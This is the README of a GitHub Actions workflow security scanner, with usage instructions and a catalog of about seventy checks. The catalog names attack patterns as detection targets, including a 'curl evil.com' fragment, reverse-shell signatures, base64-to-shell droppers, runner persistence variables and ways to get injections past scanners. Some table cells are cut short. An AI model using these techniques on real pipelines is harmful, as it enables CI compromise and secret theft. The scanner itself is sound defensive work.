Scans GitHub Actions YAML files for 225 vulnerabilities, attack paths, and security anti-patterns in under 10 seconds
Includes the most up to date real-world attacks and defenses.
- CLI Usage
- GitHub Action Usage
- Local Testing
- Versioning and Release Guidance
- Maintainer Branch Protection Policy
- Full Check Catalog
gha-exploit-guard.sh /path/to/github-actions/repo/
gha-exploit-guard.sh .
gha-exploit-guard.sh --warn-only
gha-exploit-guard.sh --exclude EG085,EG042
gha-exploit-guard.sh --helpUse --exclude with a comma-separated list of check IDs to skip specific checks:
gha-exploit-guard.sh . --exclude EG085,EG042Invalid IDs produce a warning but do not block the scan.
Add a YAML comment to any workflow file to suppress specific checks for that file only:
# exploit-guard-disable: EG085
# exploit-guard-disable: EG085,EG042
name: my-workflow
on: pushWhen a file contains an inline suppression comment, the scanner returns empty content for that file during the suppressed check, effectively skipping it.
name: Exploit Guard
on:
pull_request:
permissions:
contents: read
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@<full-40-char-sha> # pin v4
- name: Run exploit-guards
id: exploit_guards
uses: your-org/gha-exploit-guard@<full-40-char-sha>
with:
target-dir: .
fail-on-findings: false
- name: Print scanner exit code
run: echo "exit_code=${{ steps.exploit_guards.outputs.exit_code }}"Pin this action to an immutable commit SHA. Do not use mutable refs such as @main in production.
bashmust be available onPATH.python3must be available onPATH.- Recommended runner: GitHub-hosted Ubuntu (
ubuntu-latestorubuntu-24.04).
target-dir(optional, default.): Directory to scan, relative to workspace root.fail-on-findings(optional, defaultfalse): Iftrue, action fails when scanner reports findings (exit_code = 1).
exit_code: Exit code fromgha-exploit-guard.sh.
- The GitHub Action produces
exploit-guards.txtandexploit-guards.sarifin the workspace. - CLI users can generate SARIF with
--sarif FILE:gha-exploit-guard.sh /path/to/repo --sarif exploit-guards.sarif
- Exit code semantics:
0: all checks passed1: one or more checks failed (findings)>1: scanner/runtime failure
- The action always fails the step for scanner/runtime failure (
exit_code > 1). - Findings failure (
exit_code = 1) is controlled byfail-on-findings.
From repo root:
bash ./gha-exploit-guard.sh --help# expected final status: 0 or 1; 2 indicates runtime/test harness failure
./tests/test-workflow-exploit-guards.sh .# static contract checks for action/script wiring
./tests/test-offline.sh# list and filter available checks
./tests/test-offline.sh --list
./tests/test-workflow-exploit-guards.sh --list
./tests/test-workflow-exploit-guards.sh --filter fixture --junit /tmp/eg-tests.xmlUse manual semantic version tags:
- Create immutable release tags (
v1.2.3). - Move the major tag (
v1) to the latest compatible release. - Tell consumers to pin to a full commit SHA for maximum supply-chain safety.
Example:
uses: your-org/gha-exploit-guard@<full-40-char-sha>Configure this in GitHub repository settings and keep it enabled:
- Protect the default branch (for example,
main). - Require pull requests before merge.
- Require at least one approving review.
- Require these status checks before merge:
ci / regressionci / action-smoke
- Disable force pushes and branch deletion on the protected branch.
The action runs the following checks from gha-exploit-guard.sh.
| ID | Check | Description |
|---|---|---|
| EG001 | check_no_symlinks_in_workflow_tree |
workflow tree does not contain symlinked YAML files Symlinked YAML files can point to external decoy files at scan time, then be swapped to malicious files before runtime (TOCTOU). Guard: Symlinked workflow or action YAML files create a TOCTOU vulnerability — the symlink target can point to a benign decoy at scan time, then be swapped to a malicious file before the workflow actually runs. Only regular files are safe for CI definitions. source |
| EG002 | check_file_size_limits |
YAML files do not exceed size limits Extremely large YAML files cause excessive CPU consumption during scanning, enabling denial-of-service attacks against the CI pipeline. Guard: Extremely large YAML workflow files cause excessive CPU and memory consumption during scanning, enabling a denial-of-service attack against the CI security pipeline. Files over 2MB should be split into reusable workflows. source |
| EG003 | check_no_suspicious_unicode_in_yaml |
yaml files do not contain suspicious unicode Invisible Bidi control characters (Trojan Source) can hide malicious logic in YAML files. Guard: Detects Trojan Source (CVE-2021-42574) bidirectional control characters and other suspicious invisible unicode that could obfuscate YAML logic. source |
| EG004 | check_no_yaml_anchors_or_aliases |
YAML anchors aliases and merge keys are absent YAML anchors/aliases and merge keys (<<: *alias) expand at parse time, making their content invisible to regex-based line scanning -- this bypasses ALL injection guards. Guard: YAML anchors (&name) and aliases (*name) resolve at YAML parse time. A regex-based scanner sees the literal *alias token but cannot resolve what it expands to. An attacker can define a malicious anchor in a benign-looking location and reference it via alias in a step, completely bypassing every string-matching injection guard in this test suite. Merge keys (<<: *alias) are especially dangerous as they inject arbitrary keys into a mapping. source |
| EG005 | check_no_flow_style_steps |
flow-style YAML is not used in structural positions Flow-style YAML (steps: [{run: ...}]) is parsed correctly by GitHub Actions but invisible to line-based regex scanning, bypassing all injection guards. Guard: flow-style YAML places multiple keys on one line using [] and {} syntax. Most checks look for run: or uses: at the start of a stripped line, which fails for `steps: [{run: "curl evil.com |
| EG006 | check_no_yaml_escape_sequences |
YAML escape sequences are not used to hide commands YAML double-quoted strings support \xHH, \uHHHH, \UHHHHHHHH escapes that resolve at parse time, hiding malicious commands from regex scanning. Guard: YAML double-quoted strings interpret escape sequences like \x63\x75\x72\x6c (which decodes to "curl") at parse time. The scanner sees literal \xHH tokens but GitHub Actions sees the decoded string, allowing an attacker to hide arbitrary commands (curl, nc, base64, etc.) from every pattern-matching check. source |
| EG007 | check_no_forbidden_event_triggers |
workflows do not use pull_request_target issue_comment or repository_dispatch pull_request_target, issue_comment, and repository_dispatch execute with secrets while processing attacker-influenceable data, enabling pwn-request attacks. Guard: pull_request_target, issue_comment, and repository_dispatch are high-risk triggers in scanner workflows because they frequently execute with repository secrets or write-capable tokens while still being influenceable by untrusted users. This repository bans them outright to avoid "pwn request" style privilege-boundary mistakes.source |
| EG008 | check_no_workflow_run_triggers |
workflows do not use workflow_run workflow_run enables artifact poisoning and unsafe trust handoffs between untrusted and privileged workflows despite being intended as a privilege split. Guard: workflow_run is often proposed as a privilege split, but modern research shows it still enables artifact poisoning and unsafe trust handoffs between untrusted and privileged workflows. This repository chooses the simpler and stricter policy of banning it entirely.source |
| EG009 | check_no_workflow_run_artifact_bridge |
workflow_run artifact download bridges are absent Downloading artifacts from an untrusted workflow into a privileged job creates a trust bridge -- attacker-controlled artifact contents can achieve code execution. Guard: downloading artifacts produced by an untrusted workflow into a privileged follow-up job creates a trust bridge. If the artifact contents are attacker-controlled, later steps can parse, source, or execute malicious data and turn the split-workflow design back into arbitrary code execution. source |
| EG010 | check_no_actions_runtime_token_exposure |
runtime token internals stay out of shell-like blocksACTIONS_RUNTIME_TOKEN and ACTIONS_ID_TOKEN_REQUEST_URL expose privileged runtime APIs; shell-level access can enable token exfiltration and follow-on compromise.Guard: ACTIONS_RUNTIME_TOKEN and ACTIONS_ID_TOKEN_REQUEST_URL are privileged runtime API credentials internal to the Actions runner. Referencing them in run: or script: blocks risks exposing them via log output or injected commands, potentially enabling token exfiltration and follow-on infrastructure compromise. source |
| EG011 | check_no_repository_dispatch_client_payload_in_run |
repository_dispatch client_payload stays out of shell blocksrepository_dispatch client_payload is caller-controlled API input; interpolating it in shell blocks creates expression-to-shell injection risk.Guard: github.event.client_payload.* is arbitrary data supplied by any API caller with repository_dispatch permission. Interpolating it directly in run: blocks creates an expression-to-shell injection sink; pass values through a validated allowlist before use. source |
| EG012 | check_no_untrusted_github_context_in_run_blocks |
run:, script:, and env: blocks do not interpolate untrusted github context Attacker-controlled GitHub context interpolated into run:, script:, or env: blocks enables shell injection. This includes PR titles/bodies, branch names, commit messages, review bodies, release tags, and author fields. Guard: attacker-controlled GitHub context interpolated directly into run:, script:, or env: blocks turns workflow YAML into a shell-injection sink. PR titles, bodies, branch names, comments, commit messages, review bodies, release tags, and author fields can all carry shell metacharacters. Also covers composite action files (action.yml/yaml).source |
| EG013 | check_no_untrusted_github_context_in_github_script_blocks |
github-script blocks do not interpolate untrusted github context actions/github-script evaluates interpolated expressions before JavaScript runs, making untrusted context injection equivalent to shell injection. Guard: actions/github-script evaluates interpolated expressions before the JavaScript runs. Treating untrusted GitHub context as code or script input here is the same trust mistake as shell interpolation, just in a different execution environment.source |
| EG014 | check_no_untrusted_github_context_in_action_shell_blocks |
local action run blocks do not interpolate untrusted github context Composite action run: steps are shell execution surfaces with the same injection risk as workflow-level run: blocks. Guard: local composite actions are another execution surface, and they are easy to overlook when reviewing workflow-level protections. Untrusted context inside their run: steps is still shell injection and needs the same ban.source |
| EG015 | check_no_inputs_context_in_shell_like_blocks |
shell-like blocks do not interpolate reusable workflow inputs Reusable workflow inputs are caller-controlled strings -- interpolating inputs.* into shell blocks is the same injection risk as untrusted event context. Guard: reusable workflow inputs are not inherently trusted. A caller can pass arbitrary strings into inputs.*, so interpolating those values into shell, script, or env blocks recreates the same injection risk as untrusted event context. env: blocks are included because ${{ inputs.* }} in an env: value is then referenced as ${{ env.VAR }} in run blocks — a two-step bypass that the original run-only check missed entirely.source |
| EG016 | check_no_untrusted_context_to_env_files |
untrusted github context is never written to env files Writing attacker-controlled values to $GITHUB_ENV/$GITHUB_OUTPUT/$GITHUB_PATH creates a durable injection primitive affecting all subsequent steps. Guard: writing attacker-controlled values into $GITHUB_ENV, $GITHUB_OUTPUT, or $GITHUB_PATH lets untrusted input influence later steps without needing direct code execution on the current line. That creates a durable injection primitive across the rest of the job.source |
| EG017 | check_no_untrusted_context_in_env_blocks |
env blocks do not expose untrusted github context Attacker-controlled expressions in env: promote untrusted data into environment variables, enabling downstream command/argument injection. Guard: placing attacker-controlled expressions in env: promotes untrusted data into process environment variables consumed by later tools and scripts. That can become command injection, argument injection, or logic manipulation once those values are expanded downstream.source |
| EG018 | check_no_checkout_ref_from_pr_head |
actions checkout refs never use pull request head values Checking out a PR-head-controlled ref executes attacker-controlled repository contents under the privileged token and permissions. Guard: privileged workflows must never checkout a ref chosen by the PR head. Doing so executes attacker-controlled repository contents under the token and permission model of the privileged workflow, which is the core "untrusted checkout in privileged context" failure mode. source |
| EG019 | check_no_write_scoped_checkout_and_execution |
write scoped jobs do not mix checkout with execution logic A job combining write permissions + checkout + execution has all ingredients for full compromise if any trust assumption is wrong. Guard: a job that combines write permissions, repository checkout, and command execution has all ingredients needed for a full compromise if any earlier trust assumption is wrong. This enforces separation between privileged/reporting jobs and jobs that execute checked-out code or tools. source |
| EG020 | check_no_secrets_inherit |
workflow files never use secrets inherit secrets: inherit passes all repository secrets to called workflows, violating least-privilege by exposing secrets the callee does not need. Guard: secrets: inherit forwards the caller's full secret set into a called workflow, including secrets the callee does not need. That widens blast radius, makes review harder, and turns future workflow changes into implicit secret exposure without any explicit contract update.source |
| EG021 | check_no_branch_ref_context_in_shell_or_env |
branch and ref github context stays out of shell like and env blocks Branch/ref names are attacker-controlled in PR contexts and can carry shell metacharacters or path fragments. Guard: branch and ref names are attacker-controlled in PR contexts and often look deceptively harmless because they resemble identifiers. In practice they can carry shell metacharacters, path fragments, or cancellation-collision data, so they stay out of run:, script:, and env: blocks.source |
| EG022 | check_no_insecure_commands_enabled |
ACTIONS_ALLOW_UNSECURE_COMMANDS is never enabled ACTIONS_ALLOW_UNSECURE_COMMANDS re-enables ::set-env::/::add-path:: (CVE-2020-15228), letting any stdout-printing step hijack env vars and PATH. Guard: ACTIONS_ALLOW_UNSECURE_COMMANDS re-enables the deprecated ::set-env:: and ::add-path:: workflow commands that GitHub disabled in 2020 (CVE-2020-15228). Any step that prints these strings to stdout — including output from a scanned tool running against PR content — can hijack environment variables or $PATH for all subsequent steps in the same job, achieving arbitrary code execution. source |
| EG023 | check_all_external_action_refs_pinned_to_sha |
all external action refs are pinned to 40-char commit SHA Mutable tags (@main, @v1) let a compromised upstream repo execute arbitrary code without any change to your files (cf. CVE-2025-30066). Guard: every external action reference must be pinned to a full 40-character commit SHA. Mutable tags (@main, @v1, @latest) allow a compromised upstream repo to execute arbitrary code in this workflow without any change to our files. Local refs (./) are exempt. docker:// refs must carry @sha256:. This check covers workflow files and local composite action files. (CVE-2025-30066 tj-actions supply-chain attack, Ultralytics incident, zizmor: unpinned-uses) source |
| EG024 | check_no_untrusted_context_to_step_summary |
untrusted github context is never written to GITHUB_STEP_SUMMARY Untrusted context in $GITHUB_STEP_SUMMARY enables attacker-injected markdown that can exfiltrate runner data or mislead reviewers. Guard: untrusted context written to $GITHUB_STEP_SUMMARY can inject attacker- controlled markdown into the workflow summary page. Attackers can embed external image references (e.g. source |
| EG025 | check_no_tojson_sensitive_context_in_shell |
toJSON bulk-dumps of secrets github env and steps context are absent toJSON(secrets/github/env/steps) dumps entire context objects -- GitHub log masking cannot reliably redact embedded JSON values. Guard: toJSON(secrets), toJSON(github), toJSON(env), and toJSON(steps) dump entire context objects into the shell. Unlike accessing individual fields, bulk dumps expose all secrets including unused ones and the github.token. GitHub's log-masking heuristics cannot reliably redact values embedded inside a JSON string, so these expressions are equivalent to printing all secrets in cleartext. (zizmor: overprovisioned-secrets) source |
| EG026 | check_no_spoofable_bot_conditions |
spoofable contains github actor bot conditions are absent contains(github.actor, '[bot]') is spoofable -- GitHub allows usernames like 'evil[bot]', and github.actor can be manipulated via re-runs. Guard: conditions like contains(github.actor, '[bot]') are spoofable. github.actor reflects the last actor to act on the triggering context, which can be manipulated via re-runs. More critically, GitHub allows accounts whose username ends in [bot] (e.g., evil[bot]), making substring checks trivially bypassable. These patterns must never gate privileged operations or security-critical code paths. (GitHub Security Lab Part 4, zizmor: bot-conditions) source |
| EG027 | check_no_obfuscated_expressions |
fromJSON toJSON obfuscation patterns that evade injection guards are absent fromJSON(toJSON(...)) round-trips the value unchanged, evading string-matching injection guards while achieving the same injection. Guard: fromJSON(toJSON(${{ expr }})) is a semantic no-op that evades every string-matching guard in this test suite while remaining fully executable. An attacker or inattentive maintainer could write fromJSON(toJSON(github.event.pull_request.title)) in a run block and bypass all injection checks above. This guard closes that evasion path. (zizmor: obfuscation) source |
| EG028 | check_no_unsound_if_block_scalars |
if block scalar conditions with expressions are absent if: | (YAML block scalar) with ${{ }} always evaluates true because the trailing newline makes the string non-empty, permanently bypassing the gate. Guard: an `if: |
| EG029 | check_no_unpinned_container_images |
container and service images are pinned to SHA digest Mutable container image tags allow supply chain injection via registry tag manipulation without any change to this repository. Guard: container: and services: image references must carry a @sha256: digest. Mutable tags (latest, :1.x, untagged) mean the image the runner pulls can change between workflow runs, enabling supply chain injection via registry tag manipulation without any change to this repository. (zizmor: unpinned-images) source |
| EG030 | check_no_untrusted_context_in_concurrency_group |
concurrency group does not interpolate untrusted context Attacker-controlled context in concurrency.group lets a PR cancel in-progress main-branch scans, bypassing security coverage. Guard: if concurrency.group uses attacker-controlled PR context (title, body, head ref, etc.), an attacker can craft a PR whose title matches the concurrency group string of an in-progress scan on the main branch. With cancel-in-progress set, the attacker's push cancels the main-branch scan before it completes, allowing a coverage-bypass: no completed scan, no merge-blocking findings. source |
| EG031 | check_no_artipacked_broad_upload |
upload-artifact paths do not expose the git credential store upload-artifact with path: . uploads .git/config containing GITHUB_TOKEN, exposing it to anyone who can download artifacts. Guard: actions/checkout stores the GITHUB_TOKEN in .git/config (pre-v6) or $RUNNER_TEMP (v6+). An upload-artifact step with path: . or path: ./ uploads the entire workspace including .git/config, exposing the token to anyone who can download the artifact. Fork PR authors can read artifacts in many configurations, making this a direct token-exfiltration path from any scanner job. (zizmor: artipacked) source |
| EG032 | check_workflow_permissions_explicit_and_minimal |
workflow permissions stay explicit and least-privilege Omitting permissions uses repository defaults (potentially broad). write-all/read-all are broader than most workflows need. Guard: GitHub recommends setting explicit least-privilege GITHUB_TOKEN permissions. Omitting the block falls back to repository defaults, which may silently grant broader access than intended. read-all/write-all shorthands are also broader than most workflows need. (GitHub secure use reference, CodeQL: actions/missing-workflow-permissions)Portable version: checks that every workflow has a top-level permissions block and that the write-all / read-all shorthands are not used. Does not enforce specific per-file permission sets (that is a repo-level policy decision). source |
| EG033 | check_job_level_permissions |
elevated-permission workflows have explicit job-level permissions Workflows with elevated top-level permissions (pull-requests: write, security-events: write, etc.) silently grant those scopes to every job that omits an explicit job-level permissions block. A new job added without its own block inherits write scopes it does not need. Guard: in workflows where the top-level permissions ceiling includes write scopes, every job must declare its own job-level permissions block to avoid silently inheriting elevated access. Without this, adding a new job to such a workflow creates a least-privilege gap. Jobs that call reusable workflows (uses: .../*.yaml) are excluded because GitHub Actions ignores job-level permissions on workflow_call jobs — the called workflow's own top-level permissions block controls the token scope. source |
| EG034 | check_checkout_repository_and_credentials_are_safe |
actions checkout keeps credentials off disk and repository static Persisted checkout credentials remain on disk for subsequent steps. Dynamic repository overrides can redirect checkout to a malicious repo. Guard: privileged workflows must not persist checkout credentials to disk and must not derive with.repository from attacker-controlled expressions. Both patterns undermine the protections against untrusted checkout in privileged jobs. (GitHub secure use reference, CodeQL: actions/untrusted-checkout-critical)source |
| EG035 | check_no_untrusted_context_in_cache_controls |
cache keys and restore-keys do not use untrusted context Attacker-controlled expressions in cache keys enable cross-trust cache poisoning -- forcing a malicious cache to be restored in trusted runs. Guard: attacker-controlled expressions inside cache keys or restore-keys let untrusted inputs influence cache selection, enabling cross-trust cache poisoning. (GitHub Security Lab / CodeQL cache poisoning queries) source |
| EG036 | check_cache_paths_stay_out_of_workspace |
cache paths stay out of the workspace Caching workspace paths lets untrusted PR code populate cache entries that trusted jobs later restore and execute. Guard: caching the workspace or repository-relative paths lets untrusted PR code populate artifacts that later trusted jobs restore and execute. This repository only caches runner-owned directories under HOME / absolute paths. (CodeQL: direct-cache / poisonable-step) source |
| EG037 | check_write_scoped_jobs_do_not_use_cache |
write scoped jobs do not use actions cache actions/cache in write-scoped jobs combines mutable cross-run state with write tokens, widening blast radius of any poisoning or injection. Guard: write-scoped jobs must not restore or save caches. Cache contents are mutable state shared across runs, so mixing them with write tokens widens the blast radius of any cache poisoning or command injection bug. source |
| EG038 | check_no_known_compromised_actions |
known-compromised action families and SHAs are denied SHA pinning does not help when the action itself is compromised (CVE-2025-30066, CVE-2025-30154). Deny-listed actions must be removed entirely. Guard: SHA pinning is necessary but not sufficient when the upstream action itself has a recent supply-chain compromise. Keep a denylist for action IDs and known-malicious SHAs that should never re-enter this repository. (CVE-2025-30066 tj-actions/changed-files, CVE-2025-30154 reviewdog/action-setup) source |
| EG039 | check_no_id_token_write_outside_allowlist |
OIDC id-token write is absent outside an explicit allowlist id-token: write enables OIDC minting that can be exchanged for cloud credentials -- this must remain opt-in and allowlisted. Guard: OIDC minting should remain opt-in. id-token: write is powerful enough to exchange runner identity for cloud credentials, so forbid it unless a future deployment workflow is explicitly allowlisted here.source |
| EG040 | check_no_old_inputs_syntax_in_shell_blocks |
legacy github.event.inputs context stays out of shell-like blocks github.event.inputs.* is the deprecated form of inputs.* and equally injectable -- it bypasses the modern inputs context guard. Guard: ${{ github.event.inputs.* }} is the older equivalent of ${{ inputs.* }} and is equally injectable. The existing check_no_inputs_context_in_shell_like_blocks catches the modern inputs. syntax but misses this legacy path, leaving a hole that lets untrusted caller-supplied strings reach shell execution via the deprecated expression form. (Ultralytics Dec 2024 exploited the same injection class via branch names)source |
| EG041 | check_no_elevated_token_in_checkout |
actions checkout does not use elevated PAT or custom token A PAT in checkout has broader scope than GITHUB_TOKEN. Compromise of any later step captures an org-wide token (cf. CVE-2025-30066). Guard: actions/checkout with token: ${{ secrets.SOME_PAT }} elevates permissions beyond the scoped GITHUB_TOKEN. If any later step is compromised (supply-chain action, injection, poisoned cache), the attacker captures a PAT that typically has org-wide or cross-repo scope -- far broader blast radius than the per-repo, per-job GITHUB_TOKEN. The tj-actions/changed-files supply-chain attack (CVE-2025-30066) started with a stolen PAT from spotbugs/sonar-findbugs CI.source |
| EG042 | check_all_jobs_have_timeout_minutes |
all jobs have explicit timeout-minutes Default timeout is 360min (6h). Without an explicit timeout, compromised jobs can mine crypto, persist, or exhaust CI minutes. Guard: the default timeout-minutes is 360 (6 hours). Without an explicit timeout, a compromised or hanging job can abuse runner resources for hours -- crypto-mining, persistence, or exhausting org-level CI minutes to deny service. GitHub had to implement abuse-detection systems after systematic crypto-mining via GitHub Actions (2021-2023). Every runner job should have a reasonable timeout. Jobs that only dispatch to reusable workflows (uses: without runs-on:) are excluded because their timeout is governed by the called workflow.source |
| EG043 | check_no_format_wrapping_untrusted_context_in_shell |
format() does not wrap untrusted context in shell or env blocks format('{0}', untrusted_context) achieves the same shell injection as direct interpolation but evades string-matching guards. Guard: ${{ format('{0}', github.event.pull_request.title) }} in a run block achieves the exact same shell injection as direct context interpolation but evades every string-matching injection guard in this test suite. This is the same evasion class as fromJSON(toJSON(...)) which is already checked. Also covers join(), contains(), startsWith(), endsWith() which can similarly wrap dangerous context to evade pattern-matching guards. (Ken Muse: GitHub Actions Injection Attacks, GitHub Security Lab Part 2)source |
| EG044 | check_no_deprecated_workflow_commands_in_run |
deprecated workflow commands are absent from run blocks ::set-output, ::save-state, ::set-env, ::add-path are deprecated (CVE-2020-15228) -- any stdout-printing step can hijack env vars or PATH. Guard: ::set-output, ::save-state, ::set-env, and ::add-path are deprecated workflow commands (CVE-2020-15228). Any step that prints these markers to stdout can hijack environment variables or $PATH for subsequent steps in the same job. GitHub disabled them in Oct 2020 for security reasons and replaced them with environment files ($GITHUB_OUTPUT, $GITHUB_STATE, etc). Their presence in run blocks indicates outdated patterns with known vulns.source |
| EG045 | check_no_hardcoded_credentials_in_workflows |
no hardcoded credentials in workflow or action files Credentials hardcoded in YAML are visible to anyone who reads the repository and persist in git history. Guard: Docker registry passwords, API tokens, or other secrets hardcoded directly in workflow YAML (not via ${{ secrets.* }}) are exposed to anyone who can read the repository. This is the static-analysis equivalent of zizmor's hardcoded-container-credentials rule.source |
| EG046 | check_no_untrusted_context_in_action_with_inputs |
untrusted context is absent from action with inputs Some actions shell out internally, making untrusted context in with: inputs equivalent to shell injection. Guard: untrusted context in with: action inputs (template injection). Some actions shell out internally -- e.g., docker/build-push-action, custom composite actions -- making with: args: ${{ github.event.pull_request.title }} equivalent to shell injection. zizmor's template-injection audit specifically checks this surface. The existing tests only cover run:, script:, and env: blocks, leaving action with: blocks unchecked. (zizmor: template-injection, GitHub Blog: How to catch workflow injections)source |
| EG047 | check_no_curl_pipe_bash_patterns |
run blocks do not pipe curl or wget to a shell interpreter curl|bash fetches and executes remote code without integrity verification -- the pattern exploited in the Codecov breach (2021, 2.5 months undetected). Guard: `curl ... |
| EG048 | check_no_runner_persistence_techniques |
runner persistence and escape techniques are absent from run blocks RUNNER_TRACKING_ID=0 bypasses cleanup, RUNNER_ALLOW_RUNASROOT=1 enables root escalation, nohup enables persistence -- used by the Shai-Hulud worm (2025). Guard: self-hosted runner persistence via RUNNER_TRACKING_ID=0 (bypasses cleanup so spawned processes survive after job ends), RUNNER_ALLOW_RUNASROOT=1 (root escalation override), and nohup backgrounding. The Shai-Hulud worm (Nov 2025) used these at scale to install rogue runners as C2 channels communicating entirely over github.com, invisible to traditional network defenses. (Sysdig: Self-Hosted Runners as Backdoors, Praetorian: Self-Hosted Runners)source |
| EG049 | check_no_implicit_caching_in_setup_actions |
write-scoped jobs do not use implicit setup-action caching Setup actions with cache: enabled in write-scoped jobs create the same poisoning risk as explicit actions/cache. Guard: actions/setup-node with cache: npm, actions/setup-python with cache: pip, etc. use the same underlying @actions/cache mechanism as explicit actions/cache steps. The existing cache checks only match uses: actions/cache@ but miss these built-in cache parameters. In write- scoped or untrusted-code jobs, implicit caching creates the same poisoning surface exploited by the Cacheract malware (Adnan Khan, Dec 2024). (GitHub Security Lab Part 4, Adnan Khan: GitHub Actions Cache Poisoning)source |
| EG050 | check_no_known_vulnerable_action_versions |
critical actions meet minimum safe version requirements Specific action versions have known CVEs: checkout < v4.2.0 leaks GITHUB_TOKEN, upload-artifact < v4.4.0 had token exposure. Guard: beyond the denylist of fully compromised action families (tj-actions, reviewdog), specific versions of common actions have known CVEs. For example, actions/checkout < v4.2.0 defaults persist-credentials: true, enabling the ArtiPACKED credential leak (Unit 42, Aug 2024). actions/upload-artifact < v4.4.0 had the GITHUB_TOKEN exposure via .git/config. This check uses SHA-to-version comment annotations (e.g., @sha # v4.2.1) to verify minimum safe versions. (zizmor: known-vulnerable-actions, ArtiPACKED: Unit 42)source |
| EG051 | check_no_upload_artifact_without_short_retention |
upload-artifact steps have short retention-days Public repo artifacts are downloadable by anyone. Default 90-day retention maximizes credential leakage window (cf. ArtiPACKED). Guard: artifacts from public repos are downloadable by anyone. Default retention is 90 days. Scanner artifacts containing SARIF, logs, or build outputs should have minimal retention to limit the window for credential leakage (ArtiPACKED -- Palo Alto Unit 42 found leaked tokens in artifacts from Google, Microsoft, AWS, Red Hat) and reduce data exposure. (ArtiPACKED: Unit 42, BleepingComputer: GitHub Actions Artifacts Leaking) source |
| EG052 | check_no_secrets_in_reusable_workflow_with_inputs |
secrets are not passed via with: to reusable workflows Passing secrets via with: to reusable workflows logs them in plain text in the caller's workflow logs (GitHub Actions design flaw). Guard: Reusable workflows (referenced by .yml/.yaml) log their with: inputs in the caller's execution graph. Secrets passed this way are exposed to anyone with read access to logs. Secrets must be passed via the secrets: block.source |
| EG053 | check_no_http_urls_in_run_blocks |
run blocks do not use unencrypted http:// URLs Unencrypted HTTP URLs are vulnerable to Man-in-the-Middle (MitM) attacks, allowing attackers to inject malicious code during download. Guard: run: blocks fetching resources via http:// are vulnerable to MitM. Attackers can intercept the connection and inject malicious content.source |
| EG054 | check_no_eval_in_shell |
run blocks do not use eval eval executes arguments as a shell command. If arguments contain untrusted input, it leads to arbitrary code execution. Guard: eval is a dangerous shell builtin that parses its arguments as code. It is a common sink for injection attacks if any part of the string is untrusted.source |
| EG055 | check_no_path_traversal_in_checkout_path |
actions/checkout path does not use traversal or absolute paths Checkout path traversal (../) or absolute paths can overwrite critical runner files outside the workspace. Guard: actions/checkout path: should be a relative path inside the workspace. Absolute paths or .. traversal can write to sensitive runner locations.source |
| EG056 | check_no_insecure_ssl_flags |
run blocks do not use insecure SSL flags Disabling SSL verification (curl -k, wget --no-check-certificate) allows Man-in-the-Middle attacks. Guard: Detects insecure SSL flags in curl, wget, and git commands. These flags disable certificate verification, making the workflow vulnerable to MitM. Also handles multi-line commands with shell continuation (). source |
| EG057 | check_no_dangerous_env_vars |
environment variables do not globally disable TLS Disabling TLS verification via env vars (NODE_TLS_REJECT_UNAUTHORIZED=0, PYTHONHTTPSVERIFY=0) compromises process security. Guard: Detects environment variables that globally disable TLS verification for Node.js and Python, or that enable code execution hijacking across all steps (LD_PRELOAD, NODE_OPTIONS, BASH_ENV, PROMPT_COMMAND, etc.). source |
| EG058 | check_no_dangerous_env_writes_to_github_env |
dangerous env vars are not written to GITHUB_ENV or GITHUB_PATH Writing dangerous environment variables (LD_PRELOAD, NODE_OPTIONS, BASH_ENV, PYTHONPATH, etc.) to $GITHUB_ENV enables code execution hijacking in all subsequent steps. source |
| EG059 | check_no_source_or_exec_workspace_files |
run blocks do not source or execute workspace files directly Sourcing workspace files (source ./ or . ./) injects attacker-controlled code into the current shell context in PR workflows. This bypasses all expression-level injection guards. source |
| EG060 | check_no_reverse_shell_patterns |
run blocks do not use reverse shell patterns Reverse shell patterns (nc -e, /dev/tcp) indicate malicious intent or compromised steps. Guard: Detects common reverse shell patterns in run blocks. These are indicators of malicious code or compromised workflows. source |
| EG061 | check_no_base64_to_shell |
run blocks do not pipe base64 to shell Piping decoded base64 to shell (base64 -d | bash) is a common malware obfuscation technique. Guard: Detects base64 decoding piped directly to a shell. This is a common obfuscation technique for malware droppers. source |
| EG062 | check_no_secrets_in_docker_build_args |
docker build args do not contain secrets Passing secrets via --build-arg bakes them into the Docker image history, exposing them to anyone with access to the image. Guard: Secrets passed via docker build --build-arg are persisted in the image layers and history. Also handles multi-line docker commands with shell continuation ().source |
| EG063 | check_no_git_ref_context_without_separator |
git commands with interpolation use -- separator git commands with interpolated variables can be exploited via argument injection if the variable starts with a dash. Guard: git checkout ${{ var }} is vulnerable if var is -b or other flags. Must use git checkout -- ${{ var }}.source |
| EG064 | check_no_jq_yq_injection |
jq/yq filters do not use interpolation Interpolating variables into jq/yq filters allows code injection into the filter logic. Guard: jq '.${{ inputs.key }}' allows injection.source |
| EG065 | check_no_gh_cli_injection |
gh cli commands do not use interpolation Interpolating variables into gh CLI arguments allows flag injection. Guard: gh pr create --title ${{ ... }} allows flag injection if title starts with -. Restrict to attacker-controlled contexts to avoid false positives on safe env/vars usage.source |
| EG066 | check_no_secrets_in_run_arguments |
run blocks do not interpolate secrets directly Secrets interpolated into run commands are visible in the process table (ps) and can be read by other steps or malware. Guard: Secrets passed as command-line arguments are visible to all users/processes on the runner via ps. They must be passed as environment variables.source |
| EG067 | check_reusable_workflow_has_permissions |
reusable workflows have explicit permissions Reusable workflows inherit permissions from the caller if not defined, potentially granting excessive privileges. Guard: Reusable workflows (on: workflow_call) should define their own permissions to ensure least privilege, rather than inheriting potentially broad permissions from the caller. source |
| EG068 | check_no_continue_on_error_in_matrix |
matrix jobs do not use continue-on-error Job-level continue-on-error: true or strategy.fail-fast: false in a matrix job can mask security failures across configurations. Guard: job-level continue-on-error: true combined with strategy: matrix can hide failing matrix legs by forcing a green job outcome. Similarly, fail-fast: false means a failing security check in one matrix leg does not stop the job — the overall job can still report success. Step-level continue-on-error: true is also flagged — a security-critical step silently suppressed allows the workflow to appear green despite failure.source |
| EG069 | check_job_permissions_on_reusable_workflow_call |
external reusable workflow calls define explicit job permissions Omitting jobs.<job_id>.permissions on external reusable workflow calls can fall back to broader default GITHUB_TOKEN permissions than intended. Guard: External reusable workflow calls should define explicit job-level permissions in the caller job. If omitted, the called workflow can inherit default GITHUB_TOKEN permissions from the caller context. source |
| EG070 | check_no_secrets_in_job_outputs |
secrets are not mapped to job outputs Mapping secrets to job outputs exposes them to downstream jobs via the needs context, widening the leakage surface. Guard: Job outputs are plain text strings. Mapping secrets to them exposes the secret to any job that needs this one.source |
| EG071 | check_no_permissions_in_composite_action |
